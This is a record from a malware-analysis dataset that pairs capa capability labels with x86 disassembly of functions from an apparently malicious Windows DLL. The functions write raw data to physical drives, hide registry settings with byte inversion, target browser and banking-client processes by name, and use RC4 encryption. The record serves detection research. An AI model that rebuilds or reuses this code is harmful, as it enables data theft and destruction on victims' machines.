joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10012030
Capabilities:
Get disk information
Set current directory
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push esi
push 0x103
mov esi, eax
lea eax, [ebp - 0x107]
push 0
push eax
mov byte [ebp - 0x108], 0
call sub.MSVCRT.dll_memset
add esp, 0xc
test esi, esi
je 0x10012129
cmp dword [esi + 0xc], 0
je 0x10012077
push esi
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 3
jne 0x10012129
push esi
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
test eax, eax
je 0x10012129
cmp dword [esi + 0xc], 0
je 0x1001212e
mov ecx, dword [esi + 8]
push ecx
push str..PhysicalDrive_u
lea edx, [ebp - 0x108]
push 0x104
push edx
call dword [sym.imp.MSVCRT.dll__snprintf]
add esp, 0x10
push 0
push 0xa0000000
push 3
push 0
push 3
push 0x40000000
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x10012102
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
mov edi, 0x3e8
push 0
lea ecx, [ebp - 4]
push ecx
push 0x104
lea edx, [ebp - 0x108]
push edx
push esi
mov dword [ebp - 4], 0
call ebx
dec edi
jne 0x100120e1
pop edi
pop ebx
test esi, esi
je 0x10012129
lea eax, [ebp - 4]
push eax
push esi
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x10012129
test byte [ebp - 4], 2
jne 0x10012129
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
mov esp, ebp
pop ebp
ret
push esi
call fcn.100066d0
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10012140
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x430
push esi
push edi
xor esi, esi
push 0x40c
lea eax, [ebp - 0x42c]
push esi
push eax
mov dword [ebp - 0x430], esi
call sub.MSVCRT.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x430]
push ecx
push 0x104
mov dword [ebp - 0x20], str.AppEvents
mov dword [ebp - 0x1c], str.Console
mov dword [ebp - 0x18], str.Control_Panel
mov dword [ebp - 0x14], str.Environment
mov dword [ebp - 0x10], str.Identities
mov dword [ebp - 0xc], str.Software
mov dword [ebp - 8], str.System
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
mov edi, eax
shr edi, 2
cmp edi, esi
je 0x10012292
push ebx
push 1
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
push 2
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcpynA]
cmp dword [ebp - 0x430], esi
je 0x10012227
lea eax, [ebp - 0x430]
push 5
push eax
push 0x1005badc
call ebx
push 0x1005badc
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 2
jne 0x10012215
mov eax, 0x1005badc
mov dword [0x1005bae8], 0
call fcn.10012030
inc esi
cmp dword [ebp + esi*4 - 0x430], 0
lea eax, [ebp + esi*4 - 0x430]
jne 0x100121e7
test edi, edi
jle 0x10012291
lea esi, [ebp + edi*4 - 0x430]
cmp dword [esi], 0
je 0x10012289
push 5
push esi
push 0x1005badc
call ebx
push 0x1005badc
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 3
jne 0x10012289
mov eax, 0x1005badc
mov dword [0x1005bae8], 0
call fcn.10012030
movsx edx, byte [0x1005badc]
sub edx, 0x43
mov eax, 0x1005badc
mov dword [0x1005bae4], edx
mov dword [0x1005bae8], 1
call fcn.10012030
dec edi
sub esi, 4
test edi, edi
jg 0x10012232
pop ebx
xor esi, esi
mov eax, str.AppEvents
lea esp, [esp]
push eax
push 0x80000001
call fcn.100236a0
mov eax, dword [ebp + esi*4 - 0x1c]
inc esi
test eax, eax
jne 0x100122a0
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x100122c0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
push edi
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov edi, 4
test eax, eax
jne 0x10012337
lea eax, [ebp - 4]
push eax
push 0x101
push 0
push str.softwaremicrosoft
push 0x80000001
mov dword [ebp - 0x10], edi
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], edi
call esi
test eax, eax
jne 0x1001232c
lea ecx, [ebp - 0xc]
push ecx
mov ecx, dword [ebp - 4]
lea edx, [ebp - 8]
push edx
lea eax, [ebp - 0x10]
push eax
push 0
push 0x10058410
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
cmp eax, dword [ebp - 8]
sbb eax, eax
neg eax
jne 0x1001238f
lea ecx, [ebp - 8]
push ecx
push 0x101
push 0
push str.softwaremicrosoft
push 0x80000002
mov dword [ebp - 0xc], edi
mov dword [ebp - 4], 0
mov dword [ebp - 0x10], edi
call esi
test eax, eax
jne 0x10012386
lea edx, [ebp - 0x10]
push edx
mov edx, dword [ebp - 8]
lea eax, [ebp - 4]
push eax
lea ecx, [ebp - 0xc]
push ecx
push 0
push 0x10058410
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor ecx, ecx
cmp ecx, dword [ebp - 4]
sbb eax, eax
neg eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x100123a0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
neg eax
sbb esi, esi
neg esi
add esi, 0x80000001
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 0x102
push 0
push str.softwaremicrosoft
push esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
pop esi
test eax, eax
jne 0x1001240a
mov edx, dword [ebp - 4]
push 4
lea ecx, [ebp - 8]
push ecx
push 4
push eax
push 0x10058410
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esp, ebp
pop ebp
ret
Function at 0x10012410
Capabilities:
Delete file
Get common file path
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
push ebx
push esi
push edi
xor ebx, ebx
push 0x103
lea eax, [ebp - 0x217]
push ebx
push eax
mov byte [ebp - 0x218], bl
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x103
lea ecx, [ebp - 0x10f]
push ebx
push ecx
mov byte [ebp - 0x110], bl
call sub.MSVCRT.dll_memset
add esp, 0xc
lea edx, [ebp - 0x218]
push edx
push 0x104
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x110]
push eax
push ebx
push ebx
lea ecx, [ebp - 0x218]
push ecx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
call fcn.10006240
mov esi, dword [0x10057ba4]
mov edi, eax
cmp edi, ebx
je 0x100124f3
cmp esi, ebx
je 0x100124eb
mov ecx, edi
mov eax, esi
jmp 0x100124a0
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x100124c0
cmp dl, bl
je 0x100124bc
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x100124c0
add eax, 2
add ecx, 2
cmp dl, bl
jne 0x100124a0
xor eax, eax
jmp 0x100124c5
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, ebx
je 0x100124f3
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x100124eb
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov esi, edi
mov dword [0x10057ba4], esi
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
push 1
push ebx
push edx
push eax
push 1
lea ecx, [ebp - 0x110]
push ecx
push str._topic.php
push esi
call fcn.100139c0
test eax, eax
je 0x100125a8
push 1
lea edx, [ebp - 8]
push edx
lea eax, [ebp - 0x110]
call fcn.10006570
mov esi, eax
cmp esi, ebx
je 0x100125a8
push ebx
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea ecx, [ebp - 0x110]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp dword [ebp - 8], 3
jb 0x1001257c
movzx eax, byte [esi]
sub eax, 0x21
jne 0x1001256c
movzx eax, byte [esi + 1]
sub eax, 0x6f
jne 0x1001256c
movzx eax, byte [esi + 2]
sub eax, 0x6b
je 0x10012572
sar eax, 0x1f
or eax, 1
xor edx, edx
cmp eax, ebx
sete dl
mov dword [ebp - 4], edx
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push esi
push ebx
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x1001259c
push esi
push ebx
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x100131a0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
push esi
push edi
xor edi, edi
push 0x103
mov esi, eax
lea eax, [ebp - 0x10f]
push edi
push eax
mov dword [ebp - 0xc], 1
mov dword [ebp - 8], 0x104
mov dword [ebp - 4], edi
mov byte [ebp - 0x110], 0
call sub.MSVCRT.dll_memset
add esp, 0xc
test esi, esi
je 0x100132d8
mov edx, dword [ebp + 8]
lea ecx, [ebp - 4]
push ecx
push 0x101
push edi
push str.softwaremicrosoft
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x100132ca
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 4]
lea ecx, [ebp - 0x110]
push ecx
lea edx, [ebp - 0xc]
push edx
push edi
push esi
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x100132ca
lea eax, [ebp - 0x110]
xor edx, edx
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10013233
sub eax, esi
je 0x1001326d
mov edi, edi
mov cl, byte [ebp + edx - 0x110]
not cl
lea eax, [ebp - 0x110]
mov byte [ebp + edx - 0x110], cl
inc edx
lea esi, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10013260
sub eax, esi
cmp edx, eax
jb 0x10013240
lea eax, [ebp - 0x110]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10013276
sub eax, edx
xor esi, esi
inc eax
je 0x100132ac
lea edi, [eax + 0x13]
and edi, 0xfffffff0
push edi
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x100132ac
push edi
push 0
push esi
call sub.MSVCRT.dll_memset
add esp, 0xc
mov edi, esi
test esi, esi
je 0x100132ca
lea eax, [ebp - 0x110]
mov edx, eax
sub esi, edx
lea esp, [esp]
mov cl, byte [eax]
mov byte [esi + eax], cl
inc eax
test cl, cl
jne 0x100132c0
mov eax, dword [ebp - 4]
test eax, eax
je 0x100132d8
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x100132f0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
push edi
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
jne 0x1001343d
push esi
xor edi, edi
push 0x103
lea eax, [ebp - 0x113]
push edi
push eax
mov dword [ebp - 8], 1
mov dword [ebp - 0xc], 0x104
mov dword [ebp - 4], edi
mov byte [ebp - 0x114], 0
call sub.MSVCRT.dll_memset
mov esi, dword [ebp + 8]
add esp, 0xc
test esi, esi
je 0x10013438
lea ecx, [ebp - 4]
push ecx
push 0x101
push edi
push str.softwaremicrosoft
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1001342a
lea edx, [ebp - 0xc]
push edx
mov edx, dword [ebp - 4]
lea eax, [ebp - 0x114]
push eax
lea ecx, [ebp - 8]
push ecx
push edi
push esi
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1001342a
lea eax, [ebp - 0x114]
xor edx, edx
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10013393
sub eax, esi
je 0x100133cd
mov edi, edi
mov al, byte [ebp + edx - 0x114]
not al
mov byte [ebp + edx - 0x114], al
lea eax, [ebp - 0x114]
inc edx
lea esi, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100133c0
sub eax, esi
cmp edx, eax
jb 0x100133a0
lea eax, [ebp - 0x114]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100133d6
sub eax, edx
xor esi, esi
inc eax
je 0x1001340c
lea edi, [eax + 0x13]
and edi, 0xfffffff0
push edi
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x1001340c
push edi
push 0
push esi
call sub.MSVCRT.dll_memset
add esp, 0xc
mov edi, esi
test esi, esi
je 0x1001342a
lea eax, [ebp - 0x114]
mov ecx, eax
sub esi, ecx
lea esp, [esp]
mov cl, byte [eax]
mov byte [esi + eax], cl
inc eax
test cl, cl
jne 0x10013420
mov eax, dword [ebp - 4]
test eax, eax
je 0x10013438
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
test edi, edi
jne 0x10013451
mov eax, dword [ebp + 8]
push 0x80000002
call fcn.100131a0
pop edi
mov esp, ebp
pop ebp
ret 4
mov eax, edi
pop edi
mov esp, ebp
pop ebp
ret 4
Function at 0x10013460
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
push esi
mov esi, eax
push 0x100436b4
push esi
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
mov dword [ebp - 8], eax
test eax, eax
je 0x10013597
push edi
mov byte [eax], 0
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
neg eax
sbb edi, edi
push 0x103
lea eax, [ebp - 0x10f]
push 0
neg edi
push eax
add edi, 0x80000001
mov byte [ebp - 0x110], 0
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 4], 0
test esi, esi
je 0x10013590
cmp dword [ebp + 8], 0
je 0x10013590
push 0x104
push esi
lea ecx, [ebp - 0x110]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
lea eax, [ebp - 0x110]
xor edx, edx
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100134f0
sub eax, esi
je 0x1001352d
jmp 0x10013500
mov al, byte [ebp + edx - 0x110]
not al
mov byte [ebp + edx - 0x110], al
lea eax, [ebp - 0x110]
inc edx
lea esi, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10013520
sub eax, esi
cmp edx, eax
jb 0x10013500
lea ecx, [ebp - 4]
push ecx
push 0x102
push 0
push str.softwaremicrosoft
push edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10013582
lea eax, [ebp - 0x110]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10013551
mov ecx, dword [ebp - 4]
sub eax, edx
push eax
mov eax, dword [ebp + 8]
lea edx, [ebp - 0x110]
push edx
push 1
push 0
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x10013582
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov eax, dword [ebp - 4]
test eax, eax
je 0x10013590
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 8]
mov byte [eax], 0xa
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x10013d90
Capabilities:
Check internet connectivity via wininet

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push esi
lea eax, [ebp - 4]
xor esi, esi
push eax
mov dword [ebp - 4], esi
call dword [sym.imp.SensApi.dll_IsNetworkAlive]
test eax, eax
je 0x10013e87
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x10013dc1
call dword [sym.imp.DNSAPI.dll_DnsFlushResolverCache]
push ebx
push edi
push 0x103
lea ecx, [ebp - 0x107]
push 0
push ecx
mov byte [ebp - 0x108], 0
call sub.MSVCRT.dll_memset
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpynA]
add esp, 0xc
push 0x104
push str.http:__
lea edx, [ebp - 0x108]
push edx
call esi
mov edi, dword [sym.imp.SHLWAPI.dll_StrNCatA]
push 0x104
push str.www.bing.com
lea eax, [ebp - 0x108]
push eax
call edi
mov ebx, dword [sym.imp.WININET.dll_InternetCheckConnectionA]
push 0
push 1
lea ecx, [ebp - 0x108]
push ecx
call ebx
test eax, eax
jne 0x10013e7b
push 0x103
push eax
lea edx, [ebp - 0x107]
push edx
mov byte [ebp - 0x108], al
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
push str.http:__
lea eax, [ebp - 0x108]
push eax
call esi
push 0x104
push str.www.microsoft.com
lea ecx, [ebp - 0x108]
push ecx
call edi
push 0
push 1
lea edx, [ebp - 0x108]
push edx
call ebx
test eax, eax
je 0x10013e8e
pop edi
pop ebx
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
pop edi
pop ebx
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x100148b0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, 4
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
lea eax, [ebp - 4]
push eax
push 0x20119
push 0
push str.softwaremicrosoft
mov dword [ebp - 8], 0
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
neg eax
sbb eax, eax
neg eax
add eax, 0x80000001
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1001492a
call fcn.10003430
test eax, eax
mov eax, 0x10059b6c
jne 0x10014907
mov eax, 0x10059c70
lea ecx, [ebp - 0xc]
push ecx
lea edx, [ebp - 8]
push edx
mov edx, dword [ebp - 4]
lea ecx, [ebp - 0x10]
push ecx
push 0
push eax
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 8]
test eax, eax
jne 0x10014940
call fcn.10003430
neg eax
sbb eax, eax
and eax, 0xffffffd8
add eax, 0x2d
mov esp, ebp
pop ebp
ret
Function at 0x10016290
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 0
push 0
push 0
push 0x10015890
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x100162d3
lea eax, [ebp - 4]
push eax
push esi
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x100162d3
test byte [ebp - 4], 2
jne 0x100162d3
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
call dword [sym.imp.KERNEL32.dll_ExitThread]

Function at 0x10016370
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
push ebx
push esi
push edi
xor edi, edi
push edi
push 2
mov dword [ebp - 4], edi
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
mov dword [ebp - 8], esi
test esi, esi
je 0x1001648b
lea eax, [ebp - 0x130]
push eax
push esi
mov dword [ebp - 0x130], 0x128
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x10016468
mov ebx, dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
lea ecx, [ecx]
cmp dword [ebp - 0x128], 0
je 0x10016452
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [ebp - 0x128], eax
je 0x10016452
lea ecx, [ebp - 0x10c]
push ecx
push str.iexplore.exeopera.exejava.exejavaw.exeexplorer.exeisclient.exeintpro.exeipc_full.exemnp.execbsmain.dllfirefox.execlmain.execore.exemaxthon.exeavant.exesafari.exesvchost.exechrome.exenotepad.exerundll32.exenetscape.exetbb_firefox.exe
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
jne 0x10016400
mov eax, dword [ebp - 0x128]
call fcn.10022e00
test eax, eax
je 0x10016452
mov edi, dword [ebp - 0x128]
push 0x1004d8a0
call ebx
push 0x10
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x10016441
xor eax, eax
mov dword [esi], eax
mov dword [esi + 8], eax
mov dword [esi + 0xc], eax
mov dword [esi + 4], edi
call fcn.10022f00
mov edx, dword [ebp - 4]
mov dword [esi + 8], eax
mov dword [esi], edx
mov dword [ebp - 4], esi
push 0x1004d8a0
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov edi, dword [ebp - 4]
mov esi, dword [ebp - 8]
lea eax, [ebp - 0x130]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x100163c0
lea ecx, [ebp - 4]
push ecx
push esi
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x1001648b
test byte [ebp - 4], 2
jne 0x1001648b
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10016c40
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
mov esi, dword [ebp + 0xc]
test edx, edx
jle 0x10016cd3
mov ecx, dword [ebp + 8]
push ebx
sub ecx, esi
push edi
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
jmp 0x10016c64
mov ecx, dword [ebp - 0xc]
movzx ecx, byte [ecx + esi]
mov byte [ebp - 1], cl
mov cl, byte [eax + 0x100]
movzx edi, cl
movzx edx, byte [edi + eax]
add edi, eax
mov byte [ebp + 0xf], dl
mov dl, byte [eax + 0x101]
add dl, byte [ebp + 0xf]
mov dword [ebp - 0x10], edi
movzx edi, dl
mov bl, byte [edi + eax]
add edi, eax
mov dword [ebp - 0x14], edi
mov edi, dword [ebp - 0x10]
mov byte [edi], bl
mov edi, dword [ebp - 0x14]
mov byte [ebp + 0xb], bl
movzx ebx, byte [ebp + 0xf]
mov byte [edi], bl
movzx ebx, byte [ebp + 0xf]
movzx edi, byte [ebp + 0xb]
add edi, ebx
mov bl, byte [ebp - 1]
and edi, 0xff
xor bl, byte [edi + eax]
inc cl
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
mov byte [esi], bl
inc esi
dec dword [ebp - 8]
jne 0x10016c61
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret 8

Function at 0x10016d00
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
cmp dword [esi + 0x34], 0
je 0x10016dd7
xor eax, eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
mov eax, dword [esi + 0xc]
mov ecx, eax
and ecx, 0x800000ff
push edi
mov dword [esi + 0x34], 0
mov byte [ebp - 0x24], 3
jns 0x10016d4b
dec ecx
or ecx, 0xffffff00
inc ecx
cdq
and edx, 0xff
add eax, edx
sar eax, 8
mov byte [ebp - 0x1b], al
mov eax, dword [esi + 8]
mov edx, eax
and edx, 0x800000ff
mov byte [ebp - 0x1c], cl
jns 0x10016d72
dec edx
or edx, 0xffffff00
inc edx
mov byte [ebp - 0x1a], dl
cdq
and edx, 0xff
add eax, edx
sar eax, 8
push 0
mov byte [ebp - 0x19], al
mov eax, dword [esi]
push 0
push eax
call dword [sym.imp.MSVCRT.dll_fseek]
mov ecx, dword [esi]
mov edi, dword [sym.imp.MSVCRT.dll_fwrite]
push ecx
push 1
lea edx, [ebp - 0x24]
push 0x20
push edx
call edi
mov eax, dword [esi]
mov ecx, dword [esi + 0x10]
mov edx, dword [esi + 0x24]
push eax
push ecx
push 0x20
push edx
call edi
mov eax, dword [esi + 0x10]
inc eax
shl eax, 5
add esp, 0x2c
cmp dword [esi + 0xc], eax
jle 0x10016dd6
mov ecx, dword [esi]
push ecx
push 1
lea edx, [ebp - 1]
push 1
push edx
mov byte [ebp - 1], 0xd
call edi
add esp, 0x10
pop edi
mov esp, ebp
pop ebp
ret

Function at 0x10016de0
Capabilities:
Write file on windows

Disassembly:
cmp dword [esi + 0x2c], 0
je 0x10016e20
mov eax, dword [esi + 0x28]
cmp eax, 0xffffffff
jle 0x10016e20
mov ecx, dword [esi + 8]
mov edx, dword [esi]
imul ecx, eax
add ecx, dword [esi + 0xc]
push 0
push ecx
push edx
mov dword [esi + 0x2c], 0
call dword [sym.imp.MSVCRT.dll_fseek]
mov eax, dword [esi]
mov ecx, dword [esi + 8]
mov edx, dword [esi + 0x30]
push eax
push 1
push ecx
push edx
call dword [sym.imp.MSVCRT.dll_fwrite]
add esp, 0x1c
ret